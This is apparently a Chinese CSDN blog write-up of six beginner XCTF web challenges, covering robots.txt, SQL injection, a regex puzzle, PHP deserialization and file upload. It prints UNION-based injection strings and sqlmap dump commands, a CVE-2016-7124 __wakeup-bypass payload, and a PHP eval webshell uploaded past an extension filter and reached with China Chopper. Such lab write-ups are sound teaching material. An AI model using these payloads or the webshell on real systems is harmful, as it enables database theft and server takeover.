攻防世界—Web进阶篇1(1分2分题)

这篇博客详细介绍了攻防世界Web进阶题目解题过程,涉及robots.txt协议、XSS、SQL注入、正则表达式、PHP序列化与反序列化漏洞以及上传文件漏洞。通过实际操作演示了解题思路,同时讲解相关技术原理。
摘要由CSDN通过智能技术生成

一.Training-WWW-Robots

First.解题过程:

打开网页,看到应该是考虑robots.txt内容
首先在URL后链接上robots.txt
可以看到网页内容:
在这里插入图片描述

之后链接上php 那个文件
在这里插入图片描述

就出来了…感谢出题人善意的开头!

Second.原理

这里需要明确的是robots.txt,百度百科的内容解释:

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。(https://baike.baidu.com/item/robots协议/2483797?fromtitle=robots.txt&fromid=9518761&fr=aladdin

可以看出,这是一个协议,是大家的约定俗称。

Robots的语法(三个语法和两个通配符)

三个语法如下:

1、User-agent:(定义搜索引擎)
示例:
User-agent: (定义所有搜索引擎)    
User-agent: Googlebot (定义谷歌,只允许谷歌蜘蛛爬取)
不同的搜索引擎的搜索机器人有不同的名称,谷歌:Googlebot、百度:Baiduspider、MSN:MSNbot、Yahoo:Slurp。
  2、Disallow:(用来定义禁止蜘蛛爬取的页面或目录)
示例:
Disallow: /(禁止蜘蛛爬取网站的所有目录 “/” 表示根目录下)
Disallow: /admin (禁止蜘蛛爬取admin目录)
  3、Allow:(用来定义允许蜘蛛爬取的页面或子目录)
示例:
Allow: /admin/test/(允许蜘蛛爬取admin下的test目录)
Allow: /admin/abc.html(允许蜘蛛爬去admin目录中的abc.html页面)
  两个通配符如下:
  4、匹配符 “$”
$ 通配符:匹配URL结尾的字符
  5、通配符 “

* 通配符:匹配0个或多个任意字符

二.baby_web

First .解题过程:

首先从题目的提示开始入手,
在这里插入图片描述
网站中给了这个提示,联想我们平时默认写网站的时候初始页会写成index.php,所以将网页换成这个,查看网络中的头部:
在这里插入图片描述
发现flag

做法二:
利用Burp抓包:同样的到flag
在这里插入图片描述

三.NewsCenter

First:解题思路

看到有让用户输入的地方,首先头脑中反应出了两个思路,第一个是XSS,第二个是SQL注入。我首先用去实验,发现没什么效果(当然这里可能用了防护,绕过了关键词,但是我就先拿简单的实验了一下),然后尝试一下SQL,输入了一个 ’ ,发现居然网页开始不正常了!证明这应该是一个SQL注入的漏洞

解题思路一:手工注入
获取数据库名:
' and 0 union select 1,2,database()#在这里插入图片描述

获得数据库中的表名:

' and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 

在这里插入图片描述

明显的,我们想得到secret_table中的内容

' and 0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'# 

得到:
在这里插入图片描述

看到fl4g,感觉胜利在望!
获取内容:

' and 0 union select 1,2,group_concat(fl4g) from secret_table# 

得到flag:
在这里插入图片描述

解题思路2:作为练习,用SQL-map跑一遍:
用burp抓包,发现是post形式的,所以用post形式的sqlmap形式跑一遍。
启动sqlmap

python sqlmap.py -r C:\Users\Admin\Desktop\1.txt --dbs

在这里插入图片描述

得到数据库:
在这里插入图片描述

然后dump库中的内容:

python sqlmap.py -r C:\Users\Admin\Desktop\1.txt -D news --dump

在这里插入图片描述

成功得到flag~

四. NaNNaNNaNNaN-Batman

First 解题思路:

下载下来,为web控制台程序,发现并不能很好的读出内容。
查看内容
在这里插入图片描述

发现有

所以推测输入一串正确的字符串,就能得到flag。
还是查看这个乱码,发现最后执行函数的方法是 eval(),改成aler(),弹出函数内容。
整理这个内容:
在这里插入图片描述

分析,这里应该满足一个正则表达式,
^ 是要开头几个字母满足要求
$是要结尾几个字母满足要求
整体字符串长度要是16
中间过程几个字符串要匹配

构造该字符串:be0f233ac7be98aa

得到flag:
在这里插入图片描述

second 学习内容:

正则表达式相关概念:
参考菜鸟教程之正则表达式相关内容:
https://www.runoob.com/regexp/regexp-tutorial.html

看几个最常用的表达式:
在这里插入图片描述

  • ^ 为匹配输入字符串的开始位置。
  • [0-9]+匹配多个数字, [0-9] 匹配单个数字,+ 匹配一个或者多个。
  • abc 匹 配 字 母 a b c 并 以 a b c 结 尾 , 匹配字母 abc 并以 abc 结尾, abcabc 为匹配输入字符串的结束位置。

在这里插入图片描述

以上的正则表达式可以匹配 runoob、runoob1、run-oob、run_oob, 但不匹配 ru,因为它包含的字母太短了,小于 3
个无法匹配。也不匹配 runoob$, 因为它包含特殊字符。

五. unserialize3

First 学习内容:

1.什么是序列化:

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
PHP序列化:
这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 。
举例子:

序列化将对象转化为可传输的字符串:

首先定义一个对象:

<?php class chybeta{ var $test = '123'; } $class1 = new chybeta; //这里就是创建啦一个新的对象 $class1_ser = serialize($class1); //将这个对象进行字符串封装,就是对其进行序列化 print_r($class1_ser); ?>

这里输出的结果就是将对象序列化后的可传输的字符串;

在这里插入图片描述

来解释一下:O:7:“chybeta”:1:{s:4:“test”;s:3:“123”;} 这里的O呢就是object对象的意思
数字7代表着对象的函数名有7个占位 然后就是对象名了 这个数字1表示对象里有一个变量
大括号里的s代表的是string类型还有一个i是int型

2.魔法函数

这里介绍几个魔法函数,通常不需要我们手动调用,PHP 将所有以 _ _(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 _ _ 为前缀。

__constuct() 在创建对象是自动调用
__destuct() 相当于c++中的析构最后会将对象销毁,所以在对象销毁时 被调用
__toString() 但一个对象被当成字符串使用时被调用
__sleep() 当对象被序列化之前使用
__wakeup() 将在被序列化后立即被调用 //咱们这道题就是利用的这个来利用序列化的

重点注意:

  • serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象。
  • unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
  • __wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。(也有说利用的这个漏洞:CVE-2016-7124,对象个数大于实际对象个数就会跳过wakeup)

Second 解题思路:

首先看到题目,明白这是一道和序列化和反序列化有关的题目。
打开内容看到
在这里插入图片描述

发现code后面未完待续,尝试在URL中输入
在这里插入图片描述

发现输入的值可以在屏幕上显示出来。
构造php的代码:

<?php class xctf{ 
public $flag = '111';
public function __wakeup(){ exit('bad requests'); } } 
$a = new xctf();
print(serialize($a))
?>

得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
在这里插入图片描述

首先尝试把这个字符串输入:
在这里插入图片描述

发现是执行__wakeup函数
之后修改参数内容:

http://111.198.29.45:37069/?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}

得到flag:
在这里插入图片描述

六.upload1

First 解题思路:

首先查看网页源代码:
在这里插入图片描述

发现本网站上传的格式要求是jpg或者png的
构造一个文件,格式为jpg,里面写上一句话木马

<?php @eval($_POST['chopper']);?>

在这里插入图片描述

上传,用burp进行抓包:
在这里插入图片描述

因为目标要用一句话木马链接,所以后缀要改成php文件格式,用burp修改
在这里插入图片描述

再用中国菜刀进行链接:
在这里插入图片描述

查看文件,发现目标文件
在这里插入图片描述

获得flag
在这里插入图片描述

总结一下,常用的三种方法绕过,1.修改前端限制;2.burp抓包修改后缀;3.制作图片马

Second 学习内容:

这里涉及到木马的上传,这一块的知识内容很丰富,慢慢学吧
贴一个参考链接:https://thief.one/2016/09/22/上传木马姿势汇总-欢迎补充/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值